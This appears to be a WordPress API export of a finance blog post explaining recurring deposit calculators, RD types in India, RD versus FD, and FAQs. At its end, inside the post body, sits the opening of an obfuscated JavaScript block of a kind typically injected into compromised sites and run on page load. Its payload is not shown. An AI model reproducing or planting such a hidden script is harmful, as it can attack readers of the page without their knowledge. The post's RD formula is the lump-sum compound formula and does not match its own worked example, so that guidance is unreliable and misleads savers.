{"id":8402,"date":"2024-08-05T12:12:40","date_gmt":"2024-08-05T12:12:40","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8402"},"modified":"2024-08-20T11:39:06","modified_gmt":"2024-08-20T11:39:06","slug":"rd-calculator","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/rd-calculator\/","title":{"rendered":"RD Calculator: Benefits of Using an Online Recurring Deposit Calculator"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Recurring_Deposit_RD\" >Recurring Deposit (RD)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#What_is_an_RD_Calculator\" >What is an RD Calculator?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Post_Office_RD_Calculator\" >Post Office RD Calculator<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#RD_Calculator_Formula\" >RD Calculator Formula<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Benefits_of_RD_Calculator\" >Benefits of RD Calculator<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Types_of_RD_in_India\" >Types of RD in India<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#1_Regular_Recurring_Deposit_Account\" >1. Regular Recurring Deposit Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#2_RD_Account_for_Minors\" >2. RD Account for Minors<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#3_Senior_Citizens_Recurring_Deposit_Account\" >3. Senior Citizens Recurring Deposit Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#4_Tax_Saving_Recurring_Deposit_Account\" >4. Tax Saving Recurring Deposit Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#5_NRENRO_Recurring_Deposit_Account\" >5. NRE\/NRO Recurring Deposit Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#6_Flexi_Recurring_Deposit_Account\" >6. Flexi Recurring Deposit Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#7_Post_Office_Recurring_Deposit_Account\" >7. Post Office Recurring Deposit Account<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#RD_vs_FD\" >RD vs FD<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Investing_in_Recurring_Deposit_Schemes_Is_It_Advantageous\" >Investing in Recurring Deposit Schemes: Is It Advantageous?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#Other_Investment_Options\" >Other Investment Options<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/#FAQs_RD_Calculator\" >FAQs| RD Calculator<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/tutorials\/\">Tutorials<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/tutorials\/calculators\/\">Calculators<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>RD Calculator: Benefits of Using an Online Recurring Deposit Calculator<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When it comes to traditional investment options, Fixed Deposits (FDs) are often the most popular choice. But have you heard about Recurring Deposits (RDs)? An RD is a type of term deposit quite similar to FDs. It allows you to deposit a fixed amount of money every month for a set period. In return, the bank pays you interest on your deposits, which is compounded quarterly. At the end of the deposit term, you&#8217;ll get back the total amount you deposited, along with the interest earned. RD schemes are offered by both banks and post offices, but how do you choose the right RD scheme? That\u2019s where an RD calculator comes in!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us see how this simple online RD interest calculator can help you choose the right online recurring deposit scheme!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-recurring-deposit-rd\"><span class=\"ez-toc-section\" id=\"Recurring_Deposit_RD\"><\/span>Recurring Deposit (RD)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">An RD is a popular savings option where you can deposit a fixed amount every month and earn interest. RD interest is generally 4% to 8%, depending on the bank or post office. However, the deposit term can be anywhere from 6 months to 10 years.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Each type of RD has its own benefits and is suited for different individuals. But how do you choose one that can offer you maximum returns?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us understand the workings of an online recurring deposit calculator!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-what-is-an-rd-calculator-\"><span class=\"ez-toc-section\" id=\"What_is_an_RD_Calculator\"><\/span><strong>What is an RD Calculator?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">An RD calculator is an online tool that shows you how much money you\u2019ll have when your recurring deposit matures. You just have to fill in the three details: your monthly deposit amount, the interest rate, and the tenure of your investment.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The calculator shows you the total amount you\u2019ll get back, including all the rd interest earned.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A recurring deposit calculator is your go-to tool for figuring out how much your RD will grow.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2-post-office-rd-calculator\"><span class=\"ez-toc-section\" id=\"Post_Office_RD_Calculator\"><\/span>Post Office RD Calculator<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Post Office RD calculator helps you quickly figure out how much money you\u2019ll get from your Post Office RD account.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As of January 1, 2024, the post office RD interest rate is 6.7% per annum, compounded quarterly.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The minimum deposit is \u20b9100 per month, with no maximum limit.<\/li>\n\n\n\n<li>Post office RD can be opened by Single adults, joint accounts (up to 3 adults), guardians for minors or persons of unsound mind.<\/li>\n\n\n\n<li>You can deposit up to 5 years in advance and get rebates for early deposits.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">India Post provides various banking and money transfer services, including the National Savings Recurring Deposit Account. If you have an RD account at any post office, you can use post office RD calculator to check how much you&#8217;ll earn when your deposit matures.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s pretty similar to other RD calculators but uses the interest rates from the post office.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-rd-calculator-formula\"><span class=\"ez-toc-section\" id=\"RD_Calculator_Formula\"><\/span>RD Calculator Formula<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Curious about how these calculators work?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s the formula they use: A = P*(1+R\/N)^(Nt)<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>A<\/strong> is the final amount you get<\/li>\n\n\n\n<li><strong>P<\/strong> is your RD monthly deposit<\/li>\n\n\n\n<li><strong>R<\/strong> is the annual RD interest rate<\/li>\n\n\n\n<li><strong>N<\/strong> is how often the interest is compounded each year&nbsp;<\/li>\n\n\n\n<li><strong>t<\/strong> is the number of years<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s break it down with an example:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us say that you wish to invest \u20b91,000 every month. The RD interest rate is 6% per annum for 3 years.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Here\u2019s how it works:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Total Investment:<\/strong> Over 3 years, you\u2019ll be putting in \u20b91,000 each month. So, in 36 months, your total investment will be:<br>1,000\u00d736= \u20b936,000<\/li>\n\n\n\n<li><strong>Estimated Returns:<\/strong> Based on the interest rate of 6% per annum, you\u2019ll earn an estimated RD interest of \u20b93,514 over the 3-year period.<\/li>\n\n\n\n<li><strong>Total RD Value:<\/strong> Adding the interest to your total investment gives you:<br>36,000+3,514= \u20b939,514<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">So, at the end of 3 years, your total RD value will be approximately \u20b939,514.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-benefits-of-rd-calculator\"><span class=\"ez-toc-section\" id=\"Benefits_of_RD_Calculator\"><\/span>Benefits of RD Calculator<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">According to new RBI rules, RDs are subject to TDS. However, RD return calculators don\u2019t include it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Despite this small detail, the RD return calculator offers some great benefits:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Time-saving:<\/strong> You can quickly figure out your recurring deposit scheme earnings in advance!<\/li>\n\n\n\n<li><strong>Comparison:<\/strong> The recurring deposit calculator lets you compare different RD schemes to find the best one.<\/li>\n\n\n\n<li><strong>Convenience:<\/strong> Easy to use and available online, anytime.<\/li>\n\n\n\n<li><strong>Accuracy:<\/strong> The calculator provides precise estimates, which are essential for smart financial planning.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-types-of-rd-in-india\"><span class=\"ez-toc-section\" id=\"Types_of_RD_in_India\"><\/span>Types of RD in India<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In India, there are several types of Recurring Deposit (RD) accounts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here are the main types:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-1-regular-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"1_Regular_Recurring_Deposit_Account\"><\/span>1. Regular Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This is the most common type of RD. You deposit a fixed amount every month for a specified tenure, earning interest on the principal amount. The interest is compounded quarterly and paid at maturity.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-2-rd-account-for-minors\"><span class=\"ez-toc-section\" id=\"2_RD_Account_for_Minors\"><\/span>2. RD Account for Minors<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These accounts can be opened in the name of minors under the supervision of parents or guardians. They help parents save for their children&#8217;s future needs.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-3-senior-citizens-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"3_Senior_Citizens_Recurring_Deposit_Account\"><\/span>3. Senior Citizens Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Designed for senior citizens, these accounts offer a higher interest rate compared to regular RDs. The additional interest rate is usually around 0.50% to 0.75% more than the standard rates.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-4-tax-saving-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"4_Tax_Saving_Recurring_Deposit_Account\"><\/span>4. Tax Saving Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These RDs allow investors to claim tax deductions under Section 80C of the Income Tax Act, of 1961.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-5-nrenro-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"5_NRENRO_Recurring_Deposit_Account\"><\/span>5. NRE\/NRO Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Non-Resident Indians (NRIs) can invest in RDs through Non-Resident External (NRE) or Non-Resident Ordinary (NRO) accounts. These accounts help NRIs manage their savings and earn interest in India.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11-6-flexi-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"6_Flexi_Recurring_Deposit_Account\"><\/span>6. Flexi Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These accounts offer flexibility in the monthly deposit amount. This means that you can deposit different amounts every month. However, the amount should be within the minimum and maximum limits your bank sets.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"12-7-post-office-recurring-deposit-account\"><span class=\"ez-toc-section\" id=\"7_Post_Office_Recurring_Deposit_Account\"><\/span>7. Post Office Recurring Deposit Account<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Offered by India Post, these RDs are available at post offices across the country. They offer competitive interest rates and are backed by the government.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em><strong>You may also want to know th<\/strong><\/em>e <em><strong><a href=\"https:\/\/shoonya.com\/blog\/fd-calculator\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">What is FD Calculator<\/mark><\/a><\/strong><\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-rd-vs-fd\"><span class=\"ez-toc-section\" id=\"RD_vs_FD\"><\/span>RD vs FD<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">RDs and FDs serve different needs. RDs are great for regular savings with a fixed deposit, while FDs usually offer higher interest rates for lump-sum investments. Your choice depends on your saving habits and financial goals.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here are a few points of difference between Recurring Deposits (RD) and Fixed Deposits (FD):<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>FD (Fixed Deposit)<\/strong><\/td><td><strong>RD (Recurring Deposit)<\/strong><\/td><\/tr><tr><td>Investment Method<\/td><td>Invest a lump sum amount.<\/td><td>Make regular monthly deposits.<\/td><\/tr><tr><td>Interest Rates<\/td><td>Generally, it offers slightly higher interest rates.<\/td><td>Usually, it has slightly lower interest rates.<\/td><\/tr><tr><td>Tenure<\/td><td>Can range from 7 days to 10 years.<\/td><td>6 months to 10 years.<\/td><\/tr><tr><td>Interest Payout<\/td><td>Interest can be received periodically (monthly, quarterly, annually) or at maturity.<\/td><td>Interest is compounded quarterly and paid at maturity.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-investing-in-recurring-deposit-schemes-is-it-advantageous-\"><span class=\"ez-toc-section\" id=\"Investing_in_Recurring_Deposit_Schemes_Is_It_Advantageous\"><\/span><strong>Investing in Recurring Deposit Schemes: Is It Advantageous?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Investing in a Recurring Deposit (RD) is a great way to build long-term savings with regular, manageable deposits. Suppose you are a teenager or a person looking for a disciplined saving approach. RDs are for you!&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, if you&#8217;re looking for more growth potential and want to explore new opportunities, the stock market offers exciting options that can diversify your investments and potentially yield higher returns. Balancing RDs with other investments can be a smart strategy for a well-rounded financial plan.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"15-other-investment-options-\"><span class=\"ez-toc-section\" id=\"Other_Investment_Options\"><\/span><strong>Other Investment Options<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>There are multiple segments in the stock market that you can explore:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Stocks<\/strong><\/li>\n\n\n\n<li><strong>Mutual Funds<\/strong><\/li>\n\n\n\n<li><strong>ETFs<\/strong><\/li>\n\n\n\n<li><strong>Currencies, etc.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/onelink.to\/aw8e9m\" target=\"_blank\" rel=\"noreferrer noopener\"><em><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">You can now invest in the stock market at <strong>zero brokerage!<\/strong><\/mark><\/em><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"16-faqs-rd-calculator\"><span class=\"ez-toc-section\" id=\"FAQs_RD_Calculator\"><\/span>FAQs| RD Calculator<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1722858344517\"><strong class=\"schema-faq-question\"><strong>How much is 5000 per month in RD for 5 years?<\/strong><\/strong> <p class=\"schema-faq-answer\">If you invest \u20b95,000 monthly in an RD for 5 years, the maturity amount will depend on the current RD\u00a0 interest rate offered by the bank. You can use an RD calculator to calculate the exact amount.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858345274\"><strong class=\"schema-faq-question\"><strong>Which RD is best for 5 years?<\/strong><\/strong> <p class=\"schema-faq-answer\">The best RD for 5 years is one that offers competitive interest rates and flexible terms. You can compare a few options using an online recurring interest calculator!<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858345789\"><strong class=\"schema-faq-question\"><strong>How to calculate RD amount?<\/strong><\/strong> <p class=\"schema-faq-answer\">To calculate your RD maturity amount, you need to input your monthly deposit, interest rate, and tenure into an RD calculator.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858346421\"><strong class=\"schema-faq-question\"><strong>Is RD better than FD?<\/strong><\/strong> <p class=\"schema-faq-answer\">RDs and FDs serve different needs. RDs are great for regular savings with a fixed deposit, while FDs usually offer higher interest rates for lump-sum investments.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858346884\"><strong class=\"schema-faq-question\"><strong>Can I withdraw RD anytime?<\/strong><\/strong> <p class=\"schema-faq-answer\">No, RDs require you to keep your money deposited for the full term. Premature withdrawals are usually allowed but may incur penalties and reduce your returns.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858539363\"><strong class=\"schema-faq-question\"><strong>Which is better, RD or PPF?<\/strong><\/strong> <p class=\"schema-faq-answer\">RDs offer flexibility with regular deposits, while PPF (Public Provident Fund) provides tax benefits and a higher interest rate but with a longer lock-in period.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1722858553329\"><strong class=\"schema-faq-question\"><strong>Is RD good or SIP?<\/strong><\/strong> <p class=\"schema-faq-answer\">RDs are good for disciplined, regular saving, while SIPs (Systematic Investment Plans) in mutual funds offer the potential for higher returns through market investments.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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But have you heard about Recurring Deposits (RDs)? An RD is a type of term deposit quite similar to FDs. It allows you to deposit a fixed amount of money every month for a set period. In return, the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;RD Calculator: Benefits of Using an Online Recurring Deposit Calculator&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8403,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3241],"tags":[4660,4654,4653,4657,4658,4656,4659,4655],"class_list":["post-8402","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-calculators","tag-benefits-of-rd-calculator","tag-post-office-rd-calculator","tag-rd-calculator","tag-rd-calculator-formula","tag-rd-calculator-online","tag-rd-interest-calculator","tag-rd-return-calculator","tag-recurring-deposit-calculator"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Benefits of RD Calculator| Online Recurring Deposit Calculator<\/title>\n<meta name=\"description\" content=\"RD calculator helps you calculate the earnings of your recurring deposit in advance. To use it, enter your monthly deposit, interest rate, and duration of RD.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/rd-calculator\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Benefits of RD Calculator| Online Recurring Deposit Calculator\" \/>\n<meta property=\"og:description\" content=\"RD calculator helps you calculate the earnings of your recurring deposit in advance. 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